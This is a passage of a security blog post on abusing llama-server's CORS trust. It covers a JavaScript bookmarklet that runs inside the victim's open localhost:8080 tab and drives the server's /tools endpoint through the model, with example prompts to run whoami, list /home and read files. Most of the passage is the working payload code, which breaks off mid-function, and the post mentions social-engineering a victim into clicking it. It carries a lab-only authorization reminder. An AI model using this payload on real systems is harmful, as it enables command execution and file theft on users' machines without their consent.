<h3 id="alternatively-pass-a-file-containing-the-api-key">Alternatively, pass a file containing the API key</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./llama-server <span class="nt">-m</span> models/your-model.gguf <span class="nt">--api-key-file</span> /path/to/keyfile.txt
</code></pre></div></div>

<blockquote>
  <p><strong>How Clients Connect - Example</strong></p>
</blockquote>

<p>Once enabled, any client trying to access the server’s endpoints must provide the key. If the key is missing or incorrect, the server will return a <code class="language-plaintext highlighter-rouge">401 Unauthorized</code> error.</p>

<ul>
  <li>HTTP Header: Clients must pass the key as a Bearer token in the standard HTTP Authorization header
    <ul>
      <li><code class="language-plaintext highlighter-rouge">Authorization: Bearer your_secret_token_here</code></li>
    </ul>
  </li>
</ul>

<blockquote>
  <p>cURL Example usage:</p>
</blockquote>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl http://localhost:8080/v1/chat/completions <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Authorization: Bearer your_secret_token_here"</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="se">\</span>
  <span class="nt">-d</span> <span class="s1">'{ "messages": [{"role": "user", "content": "Hello!"}] }'</span>
</code></pre></div></div>

<blockquote>
  <p><strong>The Good News:</strong> Popular external platforms like <code class="language-plaintext highlighter-rouge">Unsloth</code>, <code class="language-plaintext highlighter-rouge">LM Studio</code>, and many other custom Web UIs provide explicit fields to input this API key during setup to ensure an authorized connection.</p>
</blockquote>

<h2 id="back-to-abusing-cors-and-getting-llamacpp--lit-">Back to Abusing CORS and Getting Llama.cpp 🦙 LIT 🍺😹🍻</h2>

<p>But I’m not done. I love helping foster a good blue team defense posture, but there’s still one more trick left we need to pull out from our offensive security arsenal.</p>

<p>As I was researching CORS bypass techniques with my buddy Qwen 3.8, we stumbled upon greatness. I kept going back and forth with Qwen, and Qwen kept getting lost in a terrible reasoning loop. The back and forth was regarding sending a payload to a user in a red team engagement, and the payload could <strong>NOT</strong> depend on a proxy server or some other backend server to execute our code (python server, powershell, etc). The payload had to be self-contained within an HTML file only.</p>

<p>We continued to go back and forth until… a Eureka moment! Then Qwen dropped the one idea I had not thought of in years: <strong>bookmarklets.</strong></p>

<h3 id="why-a-malicious-page-is-not-enough-and-why-a-bookmarklet-is">Why a Malicious Page Is Not Enough (And Why a Bookmarklet Is)</h3>

<p>Here’s the key insight: this is <strong>not a CORS bypass</strong> in the traditional sense. The bookmarklet simply executes malicious JavaScript from within the origin that <code class="language-plaintext highlighter-rouge">llama-server</code> already trusts. Because the browser treats that script as same-origin, the server’s origin-based trust applies to it.</p>

<p>Previously, I would either double-click the HTML file, which is basically considered a NULL origin, or open it from <code class="language-plaintext highlighter-rouge">file://</code>. Neither of those matches the <code class="language-plaintext highlighter-rouge">http://localhost:8080</code> origin that <code class="language-plaintext highlighter-rouge">llama-server</code> trusts when <code class="language-plaintext highlighter-rouge">--tools all</code> is enabled.</p>

<p>A bookmarklet, however, runs <strong>inside</strong> the target tab. If the victim already has <code class="language-plaintext highlighter-rouge">http://localhost:8080</code> loaded in their browser (which they do, since that’s the llama Web UI), and they click the bookmark, the JavaScript executes with the origin <code class="language-plaintext highlighter-rouge">http://localhost:8080</code>. The server sees a same-origin request and lets it through.</p>

<p>In theory, this would satisfy our CORS origin set to <code class="language-plaintext highlighter-rouge">http://localhost:8080</code> by <code class="language-plaintext highlighter-rouge">llama-server</code>. But I needed to test it to see for myself. Also, this is without setting an API key. So bear that in mind.</p>

<h2 id="giving-llamacpp--the-really-hard-stuff-to-drink-now">Giving Llama.cpp 🦙 the Really Hard Stuff to Drink Now</h2>

<blockquote>
  <p>⚠️ <strong>Authorization reminder:</strong> The following payload is demonstrated in my own lab environment against my own machine. In a red team engagement, you would need proper authorization and scope before testing any of this against a target system.</p>
</blockquote>

<p>Here’s what Qwen and I came up with. It does get better, but I realize this is a pain to social engineer someone into doing 😹</p>

<div style="width:100%;display:block;"><style>@media(max-width:768px){.zoom-wrap img{width:150%!important;max-width:none!important;height:auto!important;}}</style><button onclick="this.nextElementSibling.showModal()" style="background:none;border:none;padding:0;cursor:pointer;width:100%;display:block;text-align:left;"><img src="https://github.com/user-attachments/assets/ebbb6268-f049-4dd4-a0c8-c8a9eb88cb86" alt="Bookmarklet creation in browser bookmarks bar" style="width:100%;height:auto;" /></button><dialog onclick="this.close()" style="border:none;background:transparent;padding:0;width:95vw;max-width:1400px;max-height:85vh;overflow:auto;outline:none;margin:auto;"><div class="zoom-wrap" style="width:100%;overflow-x:auto;-webkit-overflow-scrolling:touch;display:flex;justify-content:flex-start;"><img src="https://github.com/user-attachments/assets/ebbb6268-f049-4dd4-a0c8-c8a9eb88cb86" alt="Bookmarklet creation in browser bookmarks bar" style="width:100%;height:auto;box-shadow:0 4px 25px rgba(0,0,0,0.6);border-radius:4px;" /></div><p style="color:#ccc;text-align:center;margin-top:12px;font-size:14px;font-family:sans-serif;user-select:none;">(Touch or click anywhere to close)</p></dialog></div>

<p>Here’s the JavaScript code, URL decoded, that went into the bookmarklet. I URL encode it before placing into the bookmarklet by the way:</p>

<blockquote>
  <p><strong>Code notes:</strong></p>
  <ul>
    <li>The <code class="language-plaintext highlighter-rouge">MODEL</code> variable is hardcoded to <code class="language-plaintext highlighter-rouge">"Qwen3.8-27B"</code>. If your model alias is different, change <code class="language-plaintext highlighter-rouge">MODEL</code> to match the <code class="language-plaintext highlighter-rouge">--alias</code> value you passed to <code class="language-plaintext highlighter-rouge">llama-server</code>.</li>
    <li>The URLs (<code class="language-plaintext highlighter-rouge">/v1/chat/completions</code>, <code class="language-plaintext highlighter-rouge">/tools</code>) are relative, so the script always talks to whatever origin it is currently running on.</li>
    <li>This example assumes <strong>no API key</strong> is configured. If you enable <code class="language-plaintext highlighter-rouge">--api-key</code>, your client must also send the <code class="language-plaintext highlighter-rouge">Authorization: Bearer ...</code> header.</li>
  </ul>
</blockquote>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">javascript</span><span class="p">:</span>
<span class="kd">const</span> <span class="nx">MODEL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Qwen3.8-27B</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">LLM_URL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/v1/chat/completions</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">TOOLS_URL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/tools</span><span class="dl">"</span><span class="p">;</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="s2">`&lt;head&gt;&lt;meta charset="UTF-8"&gt;&lt;title&gt;Agent&lt;/title&gt;
&lt;style&gt;
body{font-family:sans-serif;max-width:860px;margin:20px auto;background:#1e1e1e;color:#f4f4f4;padding:0 10px}
pre{background:#2d2d2d;padding:10px;border-radius:5px;white-space:pre-wrap;border:1px solid #444}
textarea{width:100%;height:100px;background:#2d2d2d;color:#fff;border:1px solid #444;border-radius:5px;padding:10px;box-sizing:border-box}
button{background:#007acc;color:#fff;border:none;padding:10px 20px;border-radius:5px;font-weight:700;margin:10px 8px 0 0;cursor:pointer}
.status{color:#aaa;font-style:italic;margin-top:5px}
.dot{display:inline-block;width:8px;height:8px;border-radius:50%;margin-right:6px}
.ok{background:#3dd68c}.bad{background:#e05a5a}
#health,#toolList{margin:8px 0;font-size:13px;color:#bbb}
&lt;/style&gt;&lt;/head&gt;&lt;body&gt;
&lt;h2&gt;llama-server /tools agent&lt;/h2&gt;
&lt;div id="health"&gt;checking...&lt;/div&gt;
&lt;div id="toolList"&gt;&lt;/div&gt;
&lt;textarea id="promptInput" placeholder="whoami, list /home, read a file..."&gt;&lt;/textarea&gt;
&lt;button id="sendBtn"&gt;Send Prompt&lt;/button&gt;
&lt;button id="clrBtn"&gt;Clear History&lt;/button&gt;
&lt;div id="statusOutput" class="status"&gt;Ready&lt;/div&gt;
&lt;h3&gt;Response&lt;/h3&gt;
&lt;pre id="responseOutput"&gt;...&lt;/pre&gt;
&lt;/body&gt;`</span><span class="p">;</span>

<span class="kd">let</span> <span class="nx">conversationHistory</span> <span class="o">=</span> <span class="p">[];</span>
<span class="kd">let</span> <span class="nx">oaiTools</span> <span class="o">=</span> <span class="p">[];</span>
<span class="kd">function</span> <span class="nf">status</span><span class="p">(</span><span class="nx">t</span><span class="p">){</span> <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">statusOutput</span><span class="dl">"</span><span class="p">).</span><span class="nx">textContent</span> <span class="o">=</span> <span class="nx">t</span><span class="p">;</span> <span class="p">}</span>
<span class="kd">function</span> <span class="nf">newId</span><span class="p">(){</span> <span class="k">return</span> <span class="dl">"</span><span class="s2">call_</span><span class="dl">"</span> <span class="o">+</span> <span class="nb">Math</span><span class="p">.</span><span class="nf">random</span><span class="p">().</span><span class="nf">toString</span><span class="p">(</span><span class="mi">36</span><span class="p">).</span><span class="nf">slice</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mi">12</span><span class="p">);</span> <span class="p">}</span>
<span class="kd">function</span> <span class="nf">parseArgs</span><span class="p">(</span><span class="nx">raw</span><span class="p">){</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">raw</span> <span class="o">==</span> <span class="kc">null</span><span class="p">)</span> <span class="k">return</span> <span class="p">{};</span>
  <span class="k">if </span><span class="p">(</span><span class="k">typeof</span> <span class="nx">raw</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">object</span><span class="dl">"</span><span class="p">)</span> <span class="k">return</span> <span class="nx">raw</span><span class="p">;</span>
  <span class="k">try</span> <span class="p">{</span> <span class="k">return</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nc">String</span><span class="p">(</span><span class="nx">raw</span><span class="p">));</span> <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">_</span><span class="p">)</span> <span class="p">{</span> <span class="k">return</span> <span class="p">{</span> <span class="na">command</span><span class="p">:</span> <span class="nc">String</span><span class="p">(</span><span class="nx">raw</span><span class="p">)</span> <span class="p">};</span> <span class="p">}</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nf">toolName</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span>
  <span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">tool</span> <span class="o">||</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="kd">function</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">definition</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">definition</span><span class="p">.</span><span class="kd">function</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">definition</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="o">||</span> <span class="nx">e</span><span class="p">.</span><span class="nx">name</span> <span class="o">||</span> <span class="dl">""</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nf">toOai</span><span class="p">(</span><span class="nx">e</span><span class="p">){</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">type</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">function</span><span class="dl">"</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="kd">function</span><span class="p">)</span> <span class="k">return</span> <span class="nx">e</span><span class="p">;</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">definition</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="nx">definition</span><span class="p">.</span><span class="kd">function</span><span class="p">)</span> <span class="k">return</span> <span class="nx">e</span><span class="p">.</span><span class="nx">definition</span><span class="p">;</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">e</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="kd">function</span> <span class="o">&amp;&amp;</span> <span class="nx">e</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="k">return</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span><span class="dl">"</span><span class="s2">function</span><span class="dl">"</span><span class="p">,</span> <span class="na">function</span><span class="p">:</span><span class="nx">e</span><span class="p">.</span><span class="kd">function</span> <span class="p">};</span>
  <span class="kd">const</span> <span class="nx">n</span> <span class="o">=</span> <span class="nf">toolName</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">n</span><span class="p">)</span> <span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
  <span class="k">return</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span><span class="dl">"</span><span class="s2">function</span><span class="dl">"</span><span class="p">,</span> <span class="na">function</span><span class="p">:{</span> <span class="na">name</span><span class="p">:</span><span class="nx">n</span><span class="p">,</span> <span class="na">description</span><span class="p">:</span><span class="nx">e</span><span class="p">.</span><span class="nx">display_name</span><span class="o">||</span><span class="nx">n</span><span class="p">,</span> <span class="na">parameters</span><span class="p">:{</span> <span class="na">type</span><span class="p">:</span><span class="dl">"</span><span class="s2">object</span><span class="dl">"</span><span class="p">,</span> <span class="na">additionalProperties</span><span class="p">:</span><span class="kc">true</span> <span class="p">}</span> <span class="p">}</span> <span class="p">};</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nf">parseXml</span><span class="p">(</span><span class="nx">text</span><span class="p">){</span>
  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">text</span> <span class="o">||</span> <span class="o">!</span><span class="nx">text</span><span class="p">.</span><span class="nf">includes</span><span class="p">(</span><span class="dl">"</span><span class="s2">&lt;tool_call</span><span class="dl">"</span><span class="p">))</span> <span class="k">return</span> <span class="p">[];</span>
  <span class="kd">const</span> <span class="nx">calls</span> <span class="o">=</span> <span class="p">[];</span>
  <span class="kd">const</span> <span class="nx">blockRe</span> <span class="o">=</span> <span class="sr">/&lt;tool_call&gt;</span><span class="se">([\s\S]</span><span class="sr">*</span><span class="se">?)</span><span class="sr">&lt;</span><span class="se">\/</span><span class="sr">tool_call&gt;/gi</span><span class="p">;</span>
  <span class="kd">let</span> <span class="nx">b</span><span class="p">;</span>
  <span class="k">while </span><span class="p">((</span><span class="nx">b</span> <span class="o">=</span> <span class="nx">blockRe</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="nx">text</span><span class="p">)))</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">fnRe</span> <span class="o">=</span> <span class="sr">/&lt;function=</span><span class="se">([^</span><span class="sr">&gt;</span><span class="se">\s]</span><span class="sr">+</span><span class="se">)</span><span class="sr">&gt;</span><span class="se">([\s\S]</span><span class="sr">*</span><span class="se">?)</span><span class="sr">&lt;</span><span class="se">\/</span><span class="sr">function&gt;/gi</span><span class="p">;</span>
    <span class="kd">let</span> <span class="nx">fn</span><span class="p">,</span> <span class="nx">found</span><span class="o">=</span><span class="kc">false</span><span class="p">;</span>
    <span class="k">while </span><span class="p">((</span><span class="nx">fn</span> <span class="o">=</span> <span class="nx">fnRe</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="nx">b</span><span class="p">[</span><span class="mi">1</span><span class="p">])))</span> <span class="p">{</span>
      <span class="nx">found</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
      <span class="kd">const</span> <span class="nx">args</span> <span class="o">=</span> <span class="p">{};</span>
      <span class="kd">const</span> <span class="nx">pRe</span> <span class="o">=</span> <span class="sr">/&lt;parameter=</span><span class="se">([^</span><span class="sr">&gt;</span><span class="se">\s]</span><span class="sr">+</span><span class="se">)</span><span class="sr">&gt;</span><span class="se">([\s\S]</span><span class="sr">*</span><span class="se">?)</span><span class="sr">&lt;</span><span class="se">\/</span><span class="sr">parameter&gt;/gi</span><span class="p">;</span>
      <span class="kd">let</span> <span class="nx">p</span><span class="p">;</span> <span class="k">while </span><span class="p">((</span><span class="nx">p</span> <span class="o">=</span> <span class="nx">pRe</span><span class="p">.</span><span class="nf">exec</span><span class="p">(</span><span class="nx">fn</span><span class="p">[</span><span class="mi">2</span><span class="p">])))</span> <span class="nx">args</span><span class="p">[</span><span class="nx">p</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">trim</span><span class="p">()]</span> <span class="o">=</span> <span class="nx">p</span><span class="p">[</span><span class="mi">2</span><span class="p">].</span><span class="nf">trim</span><span class="p">();</span>
      <span class="nx">calls</span><span class="p">.</span><span class="nf">push</span><span class="p">({</span> <span class="na">id</span><span class="p">:</span><span class="nf">newId</span><span class="p">(),</span> <span class="na">type</span><span class="p">:</span><span class="dl">"</span><span class="s2">function</span><span class="dl">"</span><span class="p">,</span> <span class="na">function</span><span class="p">:{</span> <span class="na">name</span><span class="p">:</span><span class="nx">fn</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">trim</span><span class="p">(),</span> <span class="na">arguments</span><span class="p">:</span><span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">}</span> <span class="p">});</span>
    <span class="p">}</span>
    <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">found</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">t</span> <span class="o">=</span> <span class="nx">b</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">trim</span><span class="p">();</span>
      <span class="k">if </span><span class="p">(</span><span class="nx">t</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="dl">"</span><span class="s2">{</span><span class="dl">"</span><span class="p">))</span> <span class="p">{</span>
        <span class="k">try</span> <span class="p">{</span>
          <span class="kd">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nx">t</span><span class="p">);</span>
          <span class="k">if </span><span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="nx">calls</span><span class="p">.</span><span class="nf">push</span><span class="p">({</span> <span class="na">id</span><span class="p">:</span><span class="nf">newId</span><span class="p">(),</span> <span class="na">type</span><span class="p">:</span><span class="dl">"</span><span class="s2">function</span><span class="dl">"</span><span class="p">,</span> <span class="na">function</span><span class="p">:{</span> <span class="na">name</span><span class="p">:</span><span class="nx">o</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="na">arguments</span><span class="p">:</span> <span class="k">typeof</span> <span class="nx">o</span><span class="p">.</span><span class="nx">arguments</span><span class="o">===</span><span class="dl">"</span><span class="s2">string</span><span class="dl">"</span><span class="p">?</span><span class="nx">o</span><span class="p">.</span><span class="nx">arguments</span><span class="p">:</span><span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">o</span><span class="p">.</span><span class="nx">arguments</span><span class="o">||</span><span class="p">{})</span> <span class="p">}</span> <span class="p">});</span>
        <span class="p">}</span> <span class="k">catch</span><span class="p">(</span><span class="nx">_</span><span class="p">){}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nx">calls</span><span class="p">;</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nf">extract</span><span class="p">(</span><span class="nx">msg</span><span class="p">){</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span> <span class="o">&amp;&amp;</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="nx">msg</span><span class="p">.</span><span class="nx">tool_calls</span><span class="p">.</span><span class="nf">map</span><span class="p">(</span><span class="nx">tc</span> <span class="o">=&gt;</span> <span class="p">({</span>
      <span class="na">id</span><span class="p">:</span> <span class="nx">tc</span><span class="p">.</span><span class="nx">id</span> <span class="o">||</span> <span class="nf">newId</span><span class="p">(),</span>
      <span class="na">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">function</span><span class="dl">"</span><span class="p">,</span>
      <span class="na">function</span><span class="p">:</span> <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="p">(</span><span class="nx">tc</span><span class="p">.</span><span class="kd">function</span> <span class="o">&amp;&amp;</span> <span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">name</span><span class="p">)</span> <span class="o">||</span> <span class="nx">tc</span><span class="p">.</span><span class="nx">name</span><span class="p">,</span> <span class="na">arguments</span><span class="p">:</span> <span class="p">(</span><span class="nx">tc</span><span class="p">.</span><span class="kd">function</span> <span class="o">&amp;&amp;</span> <span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">arguments</span><span class="p">)</span> <span class="o">!=</span> <span class="kc">null</span> <span class="p">?</span> <span class="nx">tc</span><span class="p">.</span><span class="kd">function</span><span class="p">.</span><span class="nx">arguments</span> <span class="p">:</span> <span class="nx">tc</span><span class="p">.</span><span class="nx">arguments</span> <span class="p">}</span>
    <span class="p">}));</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="nf">parseXml</span><span class="p">(</span><span class="nx">msg</span><span class="p">.</span><span class="nx">content</span> <span class="o">||</span> <span class="dl">""</span><span class="p">);</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nf">fmt</span><span class="p">(</span><span class="nx">data</span><span class="p">){</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">data</span> <span class="o">==</span> <span class="kc">null</span><span class="p">)</span> <span class="k">return</span> <span class="dl">"</span><span class="s2">(empty)</span><span class="dl">"</span><span class="p">;</span>
  <span class="k">if </span><span class="p">(</span><span class="k">typeof</span> <span class="nx">data</span> <span class="o">===</span> <span class="dl">"</span><span class="s2">string</span><span class="dl">"</span><span class="p">)</span> <span class="k">return</span> <span class="nx">data</span><span class="p">;</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">plain_text_response</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="k">return</span> <span class="nc">String</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">plain_text_response</span><span class="p">);</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">output</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="k">return</span> <span class="nc">String</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">output</span><span class="p">);</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">error</span><span class="p">)</span> <span class="k">return</span> <span class="dl">"</span><span class="s2">Error: </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">data</span><span class="p">.</span><span class="nx">error</span><span class="p">;</span>
  <span class="k">return</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">data</span><span class="p">,</span> <span class="kc">null</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nf">loadTools</span><span class="p">(){</span>
  <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="nx">TOOLS_URL</span><span class="p">,</span> <span class="p">{</span> <span class="na">cache</span><span class="p">:</span><span class="dl">"</span><span class="s2">no-store</span><span class="dl">"</span> <span class="p">});</span>
  <span class="k">if </span><span class="p">(</span><span class="o">!</span><span class="nx">r</span><span class="p">.</span><span class="nx">ok</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nc">Error</span><span class="p">(</span><span class="dl">"</span><span class="s2">GET /tools </span><span class="dl">"</span> <span class="o">+</span> <span class="nx">r</span><span class="p">.</span><span class="nx">status</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">r</span><span class="p">.</span><span class="nf">json</span><span class="p">();</span>
  <span class="kd">const</span> <span class="nx">list</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="nf">isArray</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">?</span> <span class="nx">data</span> <span class="p">:</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">tools</span> <span class="o">||</span> <span class="p">[]);</span>
  <span class="nx">oaiTools</span> <span class="o">=</span> <span class="p">[];</span>
  <span class="kd">const</span> <span class="nx">names</span> <span class="o">=</span> <span class="p">[];</span>
  <span class="k">for </span><span class="p">(</span><span class="kd">const</span> <span class="nx">e</span> <span class="k">of</span> <span class="nx">list</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">n</span> <span class="o">=</span> <span class="nf">toolName</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
    <span class="k">if </span><span class="p">(</span><span class="nx">n</span><span class="p">)</span> <span class="nx">names</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="nx">n</span><span class="p">);</span>
    <span class="kd">const</span> <span class="nx">o</span> <span class="o">=</span> <span class="nf">toOai</span><span class="p">(</span><span class="nx">e</span><span class="p">);</span>
    <span class="k">if </span><span class="p">(</span><span class="nx">o</span><span class="p">)</span> <span class="nx">oaiTools</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="nx">o</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">toolList</span><span class="dl">"</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="nx">names</span><span class="p">.</span><span class="nf">map</span><span class="p">(</span><span class="nx">n</span> <span class="o">=&gt;</span> <span class="dl">"</span><span class="s2">&lt;code&gt;</span><span class="dl">"</span><span class="o">+</span><span class="nx">n</span><span class="o">+</span><span class="dl">"</span><span class="s2">&lt;/code&gt;</span><span class="dl">"</span><span class="p">).</span><span class="nf">join</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span>
  <span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">health</span><span class="dl">"</span><span class="p">).</span><span class="nx">innerHTML</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">&lt;span class="dot </span><span class="dl">'</span><span class="o">+</span><span class="p">(</span><span class="nx">names</span><span class="p">.</span><span class="nx">length</span><span class="p">?</span><span class="dl">"</span><span class="s2">ok</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">bad</span><span class="dl">"</span><span class="p">)</span><span class="o">+</span><span class="dl">'</span><span class="s1">"&gt;&lt;/span&gt;/tools </span><span class="dl">'</span> <span class="o">+</span> <span class="p">(</span><span class="nx">names</span><span class="p">.</span><span class="nx">length</span><span class="p">?</span><span class="dl">"</span><span class="s2">up</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">empty</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">async</span> <span class="kd">function</span> <span class="nf">chat</span><span class="p">(</span><span class="nx">messages</span><span class="p">){</span>
  <span class="kd">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="p">{</span> <span class="na">model</span><span class="p">:</span> <span class="nx">MODEL</span><span class="p">,</span> <span class="nx">messages</span><span class="p">,</span> <span class="na">stream</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span> <span class="na">chat_template_kwargs</span><span class="p">:{</span> <span class="na">enable_thinking</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span> <span class="na">reasoning_effort</span><span class="p">:</span><span class="dl">"</span><span class="s2">low</span><span class="dl">"</span> <span class="p">}</span> <span class="p">};</span>
  <span class="k">if </span><span class="p">(</span><span class="nx">oaiTools</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span> <span class="nx">body</span><span class="p">.</span><span class="nx">tools</span> <span class="o">=</span> <span class="nx">oaiTools</span><span class="p">;</span> <span class="nx">body</span><span class="p">.</span><span class="nx">tool_choice</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">auto</span><span class="dl">"</span><span class="p">;</span> <span class="p">}</span>
  <span class="kd">const</span> <span class="nx">r</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span><span class="nx">LLM_URL</span><span class="p">,</span> <span class="p">{</span> <span class="na">method</span><span class="p">:</span><span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="na">headers</span><span class="p">:{</span> <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span><span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span> <span class="p">},</span> <span class="na">body</span><span class="p">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nf">stringify</span><span class="p">(</span><span class="nx">body</span><span class="p">)</span> <span class="p">});</span>
